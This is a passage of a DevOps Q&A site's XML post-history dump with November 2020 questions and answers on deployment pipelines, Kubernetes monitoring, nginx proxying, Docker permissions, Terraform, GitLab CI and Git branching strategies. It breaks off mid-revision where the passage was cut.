  <row Id="39011" PostHistoryTypeId="2" PostId="12707" RevisionGUID="d1c2689c-6d25-4d01-b0e2-fea6cb6276e1" CreationDate="2020-11-05T07:36:44.793" UserId="24608" Text="I've inherited a project that uses local / staging / production.&#xD;&#xA;&#xD;&#xA;But I've heard that githubflow allows direct deploy-to-production--upon--merge-PR-to-master.&#xD;&#xA;&#xD;&#xA;The project comprises a React front-end and a Django backend.&#xD;&#xA;The backend is hosted on AWS and administered through Kubernetes.&#xD;&#xA;There is also a database and S3 bin on AWS.&#xD;&#xA;&#xD;&#xA;The infrastructure was never completed, so I'm in the process of automating deploy-to-{staging/production}, and wondering if I'm being a dinosaur.&#xD;&#xA;&#xD;&#xA;My thought is that if deploy-to-production automatically backs up the database and S3, this could give a faster/more-efficient workflow." ContentLicense="CC BY-SA 4.0" />
  <row Id="39012" PostHistoryTypeId="1" PostId="12707" RevisionGUID="d1c2689c-6d25-4d01-b0e2-fea6cb6276e1" CreationDate="2020-11-05T07:36:44.793" UserId="24608" Text="Is local / staging / production still industry standard?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39013" PostHistoryTypeId="3" PostId="12707" RevisionGUID="d1c2689c-6d25-4d01-b0e2-fea6cb6276e1" CreationDate="2020-11-05T07:36:44.793" UserId="24608" Text="&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39014" PostHistoryTypeId="5" PostId="12707" RevisionGUID="3a6629a8-d0b5-4fbc-a5fb-c5bb4aba3375" CreationDate="2020-11-05T07:48:58.460" UserId="24608" Comment="added 166 characters in body" Text="I've inherited a project that uses local / staging / production.&#xD;&#xA;&#xD;&#xA;It is a simple project that lets users create a login and download customized PDF documents. We keep the document templates and the per-user-customisations in S3.&#xD;&#xA;&#xD;&#xA;But I've heard that githubflow allows direct deploy-to-production--upon--merge-PR-to-master.&#xD;&#xA;&#xD;&#xA;The project comprises a React front-end and a Django backend.&#xD;&#xA;The backend is hosted on AWS and administered through Kubernetes.&#xD;&#xA;There is also a database and S3 bin on AWS.&#xD;&#xA;&#xD;&#xA;The infrastructure was never completed, so I'm in the process of automating deploy-to-{staging/production}, and wondering if I'm being a dinosaur.&#xD;&#xA;&#xD;&#xA;My thought is that if deploy-to-production automatically backs up the database and S3, this could give a faster/more-efficient workflow." ContentLicense="CC BY-SA 4.0" />
  <row Id="39015" PostHistoryTypeId="2" PostId="12708" RevisionGUID="ab2efd6e-6c1b-48ef-8c8b-259a91ee50d5" CreationDate="2020-11-05T07:56:08.800" UserId="3451" Text="What is data resolution? High-resolution and Low-resolution data?&#xD;&#xA;&#xD;&#xA;I can imagine what it could be based on image resolution, but I am not quite sure.&#xD;&#xA;In connection with TSDB (e.g. Prometheus) I have heard the term.&#xD;&#xA;&#xD;&#xA;I have never heard it in the world of relational databases." ContentLicense="CC BY-SA 4.0" />
  <row Id="39016" PostHistoryTypeId="1" PostId="12708" RevisionGUID="ab2efd6e-6c1b-48ef-8c8b-259a91ee50d5" CreationDate="2020-11-05T07:56:08.800" UserId="3451" Text="What is data resolution? High-resolution and Low-resolution data?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39017" PostHistoryTypeId="3" PostId="12708" RevisionGUID="ab2efd6e-6c1b-48ef-8c8b-259a91ee50d5" CreationDate="2020-11-05T07:56:08.800" UserId="3451" Text="&lt;monitoring&gt;&lt;databases&gt;&lt;prometheus&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39018" PostHistoryTypeId="2" PostId="12709" RevisionGUID="2304ebc0-1bd2-4704-8f3b-82fb48cf4b0f" CreationDate="2020-11-05T10:50:32.073" UserId="6341" Text="Yes, you are right. Azure DevOps (or TFS) Proxy was designed to support Team Foundation Version Control while TFS did not support GIT in earlier versions. The documentation does not contain any information for GIT, it contains only for TFVC: [Configure Team Foundation version control][1].&#xD;&#xA;&#xD;&#xA;Consider using Git Virtual File System: https://github.com/microsoft/VFSForGit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/server/install/install-proxy-setup-remote?view=azure-devops-2020#configure-team-foundation-version-control" ContentLicense="CC BY-SA 4.0" />
  <row Id="39019" PostHistoryTypeId="2" PostId="12710" RevisionGUID="f45bfedf-7eb4-42ef-970d-2dc0de2ff86e" CreationDate="2020-11-05T11:01:59.843" UserId="19083" Text="I want to monitor my Kubernetes cluster with Kibana dashboard and have installed [metricbeats](https://github.com/elastic/beats) and [kube-state-metrics](https://github.com/kubernetes/kube-state-metrics). The question is which critical metrics should I monitor first and is there some predefined dashboards to get started with? I see dozens of metrics submitted but I don't know which is relevant. &#xD;&#xA;&#xD;&#xA;For example I want to know that there is at least one pod up and running per each deployment defined.&#xD;&#xA;&#xD;&#xA;Any best practices and presents for K8S + Kibana?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39020" PostHistoryTypeId="1" PostId="12710" RevisionGUID="f45bfedf-7eb4-42ef-970d-2dc0de2ff86e" CreationDate="2020-11-05T11:01:59.843" UserId="19083" Text="Kubernetes monitoring with Kibana" ContentLicense="CC BY-SA 4.0" />
  <row Id="39021" PostHistoryTypeId="3" PostId="12710" RevisionGUID="f45bfedf-7eb4-42ef-970d-2dc0de2ff86e" CreationDate="2020-11-05T11:01:59.843" UserId="19083" Text="&lt;kubernetes&gt;&lt;monitoring&gt;&lt;elk&gt;&lt;kibana&gt;&lt;dashboards&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39022" PostHistoryTypeId="2" PostId="12711" RevisionGUID="0fdc8aa2-a5f9-4d25-9c48-b0107cc9a9c9" CreationDate="2020-11-05T13:20:35.223" UserId="19083" Text="I want to proxy requests with nginx to different domain and also rewrite some part of the path. For example&#xD;&#xA;&#xD;&#xA;`http://origin.com/` - &gt; `http://target.com/_plugin/kibana`&#xD;&#xA;&#xD;&#xA;How to accomplish such automated addition of `_plugin/kibana` part to any route that I request and forward to my target server&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;server {&#xD;&#xA;    listen 80;&#xD;&#xA;    server_name _;&#xD;&#xA;    location / {&#xD;&#xA;        proxy_set_header X-Forwared-Proto $scheme;&#xD;&#xA;        rewrite ^(.*)$ /_plugin/kibana/$1 break;&#xD;&#xA;        proxy_pass https://my-es-custer-in4lf3ruqx6shv2ndhju.us-east-1.es.amazonaws.com/;&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Should I have different location blocks or should I have a rewrite directive on a server level for this to work properly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39023" PostHistoryTypeId="1" PostId="12711" RevisionGUID="0fdc8aa2-a5f9-4d25-9c48-b0107cc9a9c9" CreationDate="2020-11-05T13:20:35.223" UserId="19083" Text="nginx rewrite with proxy_pass" ContentLicense="CC BY-SA 4.0" />
  <row Id="39024" PostHistoryTypeId="3" PostId="12711" RevisionGUID="0fdc8aa2-a5f9-4d25-9c48-b0107cc9a9c9" CreationDate="2020-11-05T13:20:35.223" UserId="19083" Text="&lt;amazon-web-services&gt;&lt;nginx&gt;&lt;kibana&gt;&lt;proxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39025" PostHistoryTypeId="2" PostId="12712" RevisionGUID="77df9cac-4d63-4016-9c66-227b63e84436" CreationDate="2020-11-05T15:40:18.460" UserId="24596" Text="Solution was pretty simple: you have to choose ARM architecture on the first step, AMI selection. Accustomed to choose x86 architecture, I didn't pay attention to that radio button. Also I didn't bother to hover over the forbidden icon on the first column in the image posted on question, which clearly stated what was the problem:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;So solution is to select ARM on the previous step:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/K3gzT.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/uudR9.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39026" PostHistoryTypeId="2" PostId="12713" RevisionGUID="6ec5d078-4e76-4b56-8199-93044f7411e6" CreationDate="2020-11-05T19:53:42.937" UserId="24619" Text="I have a Docker image that runs a PHP application. Everything works fine on my machine and the ones of my colleagues.&#xD;&#xA;&#xD;&#xA;However, some colleagues got a new computer that runs on Ubuntu 20.04 and by default the user on these computers have the user id 1001. If I run the `id` command on these computers I get 1001 for the user id and group id. So, when they starts the container, the files are chown with 1001:1001 and the code cannot be executed and no files can be written in the document root of the project.&#xD;&#xA;&#xD;&#xA;Do you know what is happening ?&#xD;&#xA;&#xD;&#xA;Thanks for your answers!  " ContentLicense="CC BY-SA 4.0" />
  <row Id="39027" PostHistoryTypeId="1" PostId="12713" RevisionGUID="6ec5d078-4e76-4b56-8199-93044f7411e6" CreationDate="2020-11-05T19:53:42.937" UserId="24619" Text="Docker mounts files as uid 1001" ContentLicense="CC BY-SA 4.0" />
  <row Id="39028" PostHistoryTypeId="3" PostId="12713" RevisionGUID="6ec5d078-4e76-4b56-8199-93044f7411e6" CreationDate="2020-11-05T19:53:42.937" UserId="24619" Text="&lt;docker&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39029" PostHistoryTypeId="2" PostId="12714" RevisionGUID="1994d166-2dd3-4dc4-b12d-f64e665eb408" CreationDate="2020-11-05T20:24:29.503" UserId="5649" Text="I'm looking to use vagrant to create several but identical cluster of VMs.  &#xD;&#xA;&#xD;&#xA;For example, suppose I want to create 2 VMs, say with hostnames `n1` and `n2` as one cluster (`c1`).  Then I want to basically repeat the same identical setup, but name the next 2 VMs as `n3` and `n4` on a second cluster (`c2`).  The two clusters have exact identical setups (i.e. # of disks, network setup, rpms and packages installed, etc...), however have 2 separate identities.&#xD;&#xA;&#xD;&#xA;What is a clean way to organize the Vagrantfiles?  Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39030" PostHistoryTypeId="1" PostId="12714" RevisionGUID="1994d166-2dd3-4dc4-b12d-f64e665eb408" CreationDate="2020-11-05T20:24:29.503" UserId="5649" Text="Vagrantfile setup with multi-cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="39031" PostHistoryTypeId="3" PostId="12714" RevisionGUID="1994d166-2dd3-4dc4-b12d-f64e665eb408" CreationDate="2020-11-05T20:24:29.503" UserId="5649" Text="&lt;vagrant&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39032" PostHistoryTypeId="2" PostId="12715" RevisionGUID="ed704631-e62a-491d-9b38-a1c7a00fd1b4" CreationDate="2020-11-05T20:37:41.333" UserId="18637" Text="I'm resolved my question like bellow:&#xD;&#xA;&#xD;&#xA; - I discovered that some arguments that I used before not was used when you use the **s3_origin** and them are used with **custom_orogin**&#xD;&#xA;&#xD;&#xA;Was necessary used too variables `type=list(object({foo=bar})` for my dynamic blocks lists.&#xD;&#xA;&#xD;&#xA;Part of my module bellow:&#xD;&#xA;&#xD;&#xA;**main.tf**&#xD;&#xA;&#xD;&#xA;     dynamic &quot;origin&quot; {&#xD;&#xA;        for_each = var.origin&#xD;&#xA;        content {&#xD;&#xA;    &#xD;&#xA;          domain_name = origin.value.domain_name&#xD;&#xA;          origin_id   = origin.value.origin_id&#xD;&#xA;    &#xD;&#xA;          s3_origin_config {&#xD;&#xA;            origin_access_identity = origin.value.origin_access_identity&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;**vars.tf**&#xD;&#xA;&#xD;&#xA;    variable &quot;origin&quot; {&#xD;&#xA;      type        = list(object({ domain_name = any, origin_id = string, origin_access_identity = string }))&#xD;&#xA;      description = &quot;One or more origins for this distribution (multiples allowed).&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Another thing that I learned it's when you set a `default=value` onto variable `type` same this _var_ is (optional) you turn them (required).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39036" PostHistoryTypeId="2" PostId="12717" RevisionGUID="4b09d028-14b4-42fa-86dd-b9abbb8854b2" CreationDate="2020-11-05T21:41:41.160" UserId="24622" Text="I'm gathering bandwidth data of some servers using prometheus federation and grafana for monitoring. Last week I noticed that something weird happened to my grafana dashboard, seems garafan can't have access to data before specific time, I thought my server reseted somehow, but  using &quot;docker ps&quot; I notices my prometheus container was up in past couple weeks, this thing happened one more time after 3 days! I didn't have this issue in past. I couldn't find out what's the problem, and don't know how to troubleshoot this issue. I also thought that prometheus volume is reseted, but when I checked the prometheus volume folder, noticed that old data are still there! ![![enter image description here][1]][1]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/PdMzv.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39037" PostHistoryTypeId="1" PostId="12717" RevisionGUID="4b09d028-14b4-42fa-86dd-b9abbb8854b2" CreationDate="2020-11-05T21:41:41.160" UserId="24622" Text="Grafana lost access to previous data of prometheus" ContentLicense="CC BY-SA 4.0" />
  <row Id="39038" PostHistoryTypeId="3" PostId="12717" RevisionGUID="4b09d028-14b4-42fa-86dd-b9abbb8854b2" CreationDate="2020-11-05T21:41:41.160" UserId="24622" Text="&lt;docker&gt;&lt;prometheus&gt;&lt;grafana&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39039" PostHistoryTypeId="2" PostId="12718" RevisionGUID="a8527209-72af-45dd-86c4-a32cbdadbcfb" CreationDate="2020-11-05T22:17:29.380" UserId="24624" Text="I want to run a Damerau-Levenshtein distance comparison between strings in separate records. Using my local MySQL instance I have referenced a [precompiled library][1] that runs significantly faster than a regular stored procedure. Is there a way to have this library loaded into Azure where MySQL can use it? or is there a way I can take the source and compile it in Azure where MySQL can use it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/rljacobson/Levenshtein" ContentLicense="CC BY-SA 4.0" />
  <row Id="39040" PostHistoryTypeId="1" PostId="12718" RevisionGUID="a8527209-72af-45dd-86c4-a32cbdadbcfb" CreationDate="2020-11-05T22:17:29.380" UserId="24624" Text="Can Azure MySQL use a precompiled library (or can I compile I library to use with Azure MySQL?)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39041" PostHistoryTypeId="3" PostId="12718" RevisionGUID="a8527209-72af-45dd-86c4-a32cbdadbcfb" CreationDate="2020-11-05T22:17:29.380" UserId="24624" Text="&lt;azure&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39042" PostHistoryTypeId="2" PostId="12719" RevisionGUID="40c9ce7a-79bc-4249-979f-a57f9aae54ee" CreationDate="2020-11-06T10:29:00.063" UserId="24571" Text="I have an application made of two compiled Go programs and a Terraformed test stack. There will be more functions and resources in the coming weeks. Maybe other technologies that will need other environments.&#xD;&#xA;&#xD;&#xA;I want to do some CI/CD throughout the advancement of the project using Gitlab CI and am fairly new to it. I have seen online .gitlab-ci.yml templates for [Golang (Go)][1] OR [Terraform (TF)][2]. I don't succeed at connecting the two in an optimal fashion. The standard way of doing things seems very sub-optimal to me.&#xD;&#xA;&#xD;&#xA;My options:&#xD;&#xA;1) I could write a Dockerfile that installs Go &amp; TF, turn this into an image and pull it as the root image of my pipeline. But this seems to be too monolithic (big Dockerfile). &#xD;&#xA;2) I could specify a Go root image and a stage image for TF. This would imply&#xD;&#xA;     &#xD;&#xA;- that I either re-pull TF at any of my stages where TF is needed. Which would mean long pulling/building time thus not eco(nomically/logically)-friendly&#xD;&#xA;&#xD;&#xA;**or** &#xD;&#xA;      &#xD;&#xA;  - that I don't decompose my TF CI process into multiple stages. But this would make my program harder to debug down the road. Think `terraform init ; terraform plan ; terraform apply ; terraform destroy`: I want to have these commands used in separate stages. &#xD;&#xA;&#xD;&#xA;What are your suggestions on this matter ? How could I properly link the tech environments in Gitlab CI and keep building time low ? Is there a way where building time is low and where I don't rely on a big monolithic Dockerfile ? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Go.gitlab-ci.yml&#xD;&#xA;  [2]: https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="39043" PostHistoryTypeId="1" PostId="12719" RevisionGUID="40c9ce7a-79bc-4249-979f-a57f9aae54ee" CreationDate="2020-11-06T10:29:00.063" UserId="24571" Text="Golang + Terraform in Gitlab CI" ContentLicense="CC BY-SA 4.0" />
  <row Id="39044" PostHistoryTypeId="3" PostId="12719" RevisionGUID="40c9ce7a-79bc-4249-979f-a57f9aae54ee" CreationDate="2020-11-06T10:29:00.063" UserId="24571" Text="&lt;terraform&gt;&lt;gitlab-ci-runner&gt;&lt;go&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39045" PostHistoryTypeId="2" PostId="12720" RevisionGUID="6ff3f028-64e1-4ab8-a917-2ca2d8d81018" CreationDate="2020-11-06T12:35:20.893" UserId="4997" Text="# Background&#xD;&#xA;&#xD;&#xA;We currently use AWS blue/green deployments with autoscaling (ASG). This works well, but due to the nature blue/green works (ie we're constantly launching brand new instances and tearing down old ones).. all auto scaling data in the old instances die with them as depicted here:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/y6JBO.png&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;Waht's the easiest way to persist the ASG count and ASG CPU util data and let it appear on our cloudwatch?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39046" PostHistoryTypeId="1" PostId="12720" RevisionGUID="6ff3f028-64e1-4ab8-a917-2ca2d8d81018" CreationDate="2020-11-06T12:35:20.893" UserId="4997" Text="How to visualize Auto Scaling Activity on EC2 instances that follow blue/green deployments" ContentLicense="CC BY-SA 4.0" />
  <row Id="39047" PostHistoryTypeId="3" PostId="12720" RevisionGUID="6ff3f028-64e1-4ab8-a917-2ca2d8d81018" CreationDate="2020-11-06T12:35:20.893" UserId="4997" Text="&lt;amazon-cloudwatch&gt;&lt;aws-codedeploy&gt;&lt;bluegreen&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39048" PostHistoryTypeId="2" PostId="12721" RevisionGUID="22eeea7d-4e2c-4779-9b58-50b88ade1a6d" CreationDate="2020-11-06T17:38:36.587" UserId="18965" Text="I have a service that I want to port to Helm. It's a django application that requires memcached and postgresql and a forward proxy like nginx.&#xD;&#xA;&#xD;&#xA;I would ideally like to have one repository with all that stuff (dockerfiles/buildah scripts/charts). I think I can that easily with Helm repository if the images were already created. But they're not.&#xD;&#xA;&#xD;&#xA;Is there any convention to include Dockerfile's or buildah scripts inside the Helm repository? It seems weird to have to create another repository to build the images, and then to have a helm repository to tie them together. Is this the way it's done currently?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39049" PostHistoryTypeId="1" PostId="12721" RevisionGUID="22eeea7d-4e2c-4779-9b58-50b88ade1a6d" CreationDate="2020-11-06T17:38:36.587" UserId="18965" Text="Helm Repo: can it host dockerfiles and other image-building artifacts" ContentLicense="CC BY-SA 4.0" />
  <row Id="39050" PostHistoryTypeId="3" PostId="12721" RevisionGUID="22eeea7d-4e2c-4779-9b58-50b88ade1a6d" CreationDate="2020-11-06T17:38:36.587" UserId="18965" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;helm&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39051" PostHistoryTypeId="2" PostId="12722" RevisionGUID="15652224-da3c-4f27-a9a9-a9361aa12f61" CreationDate="2020-11-06T19:02:23.493" UserId="22070" Text="That is not good design to have docker or any lib update after logging into the container. As mentioned by Andrea Giaime Bodei , you need to update the base image in the Dockerfile and rebuild the image. The docker images are immutable. &#xD;&#xA;```&#xD;&#xA;# Download base image ubuntu 20.04&#xD;&#xA;FROM ubuntu:20.04&#xD;&#xA;&#xD;&#xA;# LABEL about the custom image&#xD;&#xA;LABEL maintainer=&quot;abcd@me.com&quot;&#xD;&#xA;LABEL version=&quot;0.1&quot;&#xD;&#xA;LABEL description=&quot;This is custom Docker Image for \&#xD;&#xA;the test&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39052" PostHistoryTypeId="2" PostId="12723" RevisionGUID="0459c698-1c4a-4079-a8ec-e859855a0a52" CreationDate="2020-11-06T19:25:04.247" UserId="22070" Text="Ideally dont run docker as superuser(root). You should create a user within dockerfile and chown the file system with that user. You can create a user and then add access to that user on the file system. In the below example there is appuser , with ownership to src&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:latest&#xD;&#xA;RUN useradd -r -u 1001 -g appuser appuser&#xD;&#xA;RUN chown -R appuser.appuser /src&#xD;&#xA;USER appuser&#xD;&#xA;CMD [&quot;appuser&quot;, &quot;/src/index.js&quot;] &#xD;&#xA;```&#xD;&#xA;Its not recommended to run as root &#xD;&#xA;You could also run as any user (Say root id = 0) if needed from externally&#xD;&#xA;```&#xD;&#xA;docker run -d --user 0 ubuntu:latest&#xD;&#xA;```&#xD;&#xA;You should never relay on gid/uid  of the linux user outside the container." ContentLicense="CC BY-SA 4.0" />
  <row Id="39053" PostHistoryTypeId="2" PostId="12724" RevisionGUID="fb7fd6f3-47db-4c1b-bfe6-966db86398d2" CreationDate="2020-11-06T20:15:50.323" UserId="707" Text="Imagine you have a GitLab Docker runner which you would like to pass credentials from a credential store. That is the CI/CD variable just designates the credentials profile name.&#xD;&#xA;&#xD;&#xA;Is there a way to connect Docker containers to host's credential store?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39054" PostHistoryTypeId="1" PostId="12724" RevisionGUID="fb7fd6f3-47db-4c1b-bfe6-966db86398d2" CreationDate="2020-11-06T20:15:50.323" UserId="707" Text="Host credential manager and Docker runners" ContentLicense="CC BY-SA 4.0" />
  <row Id="39055" PostHistoryTypeId="3" PostId="12724" RevisionGUID="fb7fd6f3-47db-4c1b-bfe6-966db86398d2" CreationDate="2020-11-06T20:15:50.323" UserId="707" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;security&gt;&lt;credentials&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39057" PostHistoryTypeId="2" PostId="12725" RevisionGUID="c6791050-cbf0-44eb-90d6-5af1e8e26fb3" CreationDate="2020-11-07T04:56:44.947" UserId="16251" Text="I think that the best way to answer your question is to take a step back to focus on your goal.  Based on the fact that you're using an on-premise Azure DevOps Server, I am assuming that you're working on a closed-source project (I apologize if this assumption is incorrect).  I believe that your goal is to control quality via PRs in this environment.&#xD;&#xA;&#xD;&#xA;As this [Atlassian tutorial](https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow) states, &quot;The Forking Workflow is most often seen in open source projects&quot;. The reason for this is that the fork mechanism was created for a very specific problem, &quot;How do you give complete strangers the ability to contribute to a project without giving the world write permissions to your repository?&quot;.  Note, I occasionally use the forking mechanism for other purposes as well, but this is its primary use.  There is a fantastic book called [Git for Teams](https://www.amazon.com/dp/1491911182/ref=cm_sw_em_r_mt_dp_X6HPFbVH4C9K6) that describes git workflows and their intents very nicely. &#xD;&#xA;&#xD;&#xA;My first experience with git was working in GitLab on a closed-source project.  We were required by the process to fork the repo and create a PR to get our changes back. The result was a big learning curve for the engineers who were new to git and a lot of confusion around setting up remotes and getting the latest code.&#xD;&#xA;&#xD;&#xA;Many engineers erroneously think that the only way to have a pull-request mechanism is to fork the code, probably because their only exposure is through PRs in the open-source community.  To quote Microsoft, [&quot;Pull requests can come from either **topic branches** or from a branch in a fork of the original repository&quot;](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops).  A [topic branch](https://stackoverflow.com/a/284817/574588) is just a fancy term for a `bug`/`feature`/etc branch.  When I am working with a closed-source group that is new to git, I will often disallow forks in the Project/Repository settings and I will enforce a [branching policy](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) of a minimum number of reviewers for a pull request to the master branch.&#xD;&#xA;&#xD;&#xA;Regarding best practices for branching strategies in git, the book I mentioned above is a great first step.  There are many standard branching strategies, a couple examples are:&#xD;&#xA;1. [gitflow](https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow) which is great for teams that are new to git and has some awesome [tools](https://danielkummer.github.io/git-flow-cheatsheet/) and many tools incorporate the git flow pattern, like [sourcetree](https://blog.sourcetreeapp.com/2012/08/01/smart-branching-with-sourcetree-and-git-flow/).&#xD;&#xA;2. [trunk-based development](https://www.toptal.com/software/trunk-based-development-git-flow) a very lean development process.&#xD;&#xA;&#xD;&#xA;Regarding your original question, I suspect that creating a new Azure DevOps project to store all of those unsightly extra fork repos would just add another level of complexity to your work.  You would need to enforce security for both projects, manage users and permissions for the new project, etc.  In this case subtraction is likely better than addition, I suggest using removing forking and using a good branching strategy for your project (if possible). It would simplify your life significantly.&#xD;&#xA;&#xD;&#xA;Please let me know if this did not answer your question or if you have any further questions." ContentLicense="CC BY-SA 4.0" />
  <row Id="39058" PostHistoryTypeId="5" PostId="12725" RevisionGUID="db1b3ea4-bd5a-45fd-9656-875c47619922" CreationDate="2020-11-07T05:03:09.013" UserId="16251" Comment="added 80 characters in body" Text="I think that the best way to answer your question is to take a step back to focus on your goal.  Based on the fact that you're using an on-premise Azure DevOps Server, I am assuming that you're working on a closed-source project (I apologize if this assumption is incorrect).  I believe that your goal is to control quality via PRs in this environment.&#xD;&#xA;&#xD;&#xA;As this [Atlassian tutorial](https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow) states, &quot;The Forking Workflow is most often seen in open source projects&quot;. The reason for this is that the fork mechanism was created for a very specific problem, &quot;How do you give complete strangers the ability to contribute to a project without giving the world write permissions to your repository?&quot;.  Note, I occasionally use the forking mechanism for other purposes as well, but this is its primary use.  There is a fantastic book called [Git for Teams](https://www.amazon.com/dp/1491911182/ref=cm_sw_em_r_mt_dp_X6HPFbVH4C9K6) that describes git workflows and their intents very nicely. &#xD;&#xA;&#xD;&#xA;My first experience with git was working in GitLab on a closed-source project.  We were a team of ten employees working on an enterprise software application.  We were required by the process to fork the repo and create a PR to get our changes back. The result was a big learning curve for the engineers who were new to git and a lot of confusion around setting up remotes and getting the latest code.&#xD;&#xA;&#xD;&#xA;Many people erroneously think that the only way to have a pull-request mechanism is to fork the code, probably because their only exposure is through PRs in the open-source community.  To quote Microsoft, [&quot;Pull requests can come from either **topic branches** or from a branch in a fork of the original repository&quot;](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops).  A [topic branch](https://stackoverflow.com/a/284817/574588) is just a fancy term for a `bug`/`feature`/etc branch.  When I am working with a closed-source group that is new to git, I will often disallow forks in the Project/Repository settings and I will enforce a [branching policy](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) of a minimum number of reviewers for a pull-request to the master branch.&#xD;&#xA;&#xD;&#xA;Regarding best practices for branching strategies in git, the book I mentioned above is a great first step.  There are many standard branching strategies, a couple examples are:&#xD;&#xA;1. [gitflow](https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow) which is great for teams that are new to git and has some awesome [tools](https://danielkummer.github.io/git-flow-cheatsheet/) and many tools incorporate the gitflow pattern, like [sourcetree](https://blog.sourcetreeapp.com/2012/08/01/smart-branching-with-sourcetree-and-git-flow/).&#xD;&#xA;2. [trunk-based development](https://www.toptal.com/software/trunk-based-development-git-flow) a very lean development process.&#xD;&#xA;&#xD;&#xA;Regarding your original question, I suspect that creating a new Azure DevOps project to store all of those unsightly extra fork repos would just add another level of complexity to your work.  You would need to enforce security for both projects, manage users and permissions for the new project, etc.  In this case subtraction is likely better than addition, I suggest using removing forking and using a good branching strategy for your project (if possible). It would simplify your life significantly.&#xD;&#xA;&#xD;&#xA;Please let me know if this did not answer your question or if you have any further questions." ContentLicense="CC BY-SA 4.0" />
  <row Id="39059" PostHistoryTypeId="5" PostId="12725" RevisionGUID="4e04b6e5-a8c2-4a79-af8b-c0b0b2af8c8a" CreationDate="2020-11-07T05:10:55.570" UserId="16251" Comment="deleted 6 characters in body" Text="I think that the best way to answer your question is to take a step back to focus on your goal.  Based on the fact that you're using an on-premise Azure DevOps Server, I am assuming that you're working on a closed-source project (I apologize if this assumption is incorrect).  I believe that your goal is to control quality via PRs in this environment.&#xD;&#xA;&#xD;&#xA;As this [Atlassian tutorial](https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow) states, &quot;The Forking Workflow is most often seen in open source projects&quot;. The reason for this is that the fork mechanism was created for a very specific problem, &quot;How do you give complete strangers the ability to contribute to a project without giving the world write permissions to your repository?&quot;.  Note, I occasionally use the forking mechanism for other fairly advanced purposes as well, but this is its primary use.  There is a fantastic book called [Git for Teams](https://www.amazon.com/dp/1491911182/ref=cm_sw_em_r_mt_dp_X6HPFbVH4C9K6) that describes git workflows and their intents very nicely. &#xD;&#xA;&#xD;&#xA;My first experience with git was working in GitLab on a closed-source project.  We were a team of ten employees working on an enterprise software application.  We were required by the process to fork the repo and create a PR to get our changes back. The result was a big learning curve for the engineers who were new to git and a lot of confusion around setting up remotes and getting the latest code.&#xD;&#xA;&#xD;&#xA;Many people erroneously think that the only way to have a pull-request mechanism is to fork the code, probably because their only exposure is through PRs in the open-source community.  To quote Microsoft, [&quot;Pull requests can come from either **topic branches** or from a branch in a fork of the original repository&quot;](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops).  A [topic branch](https://stackoverflow.com/a/284817/574588) is just a fancy term for a `bug`/`feature`/etc branch.  When I am working with a closed-source group that is new to git, I will often disallow forks in the Project/Repository 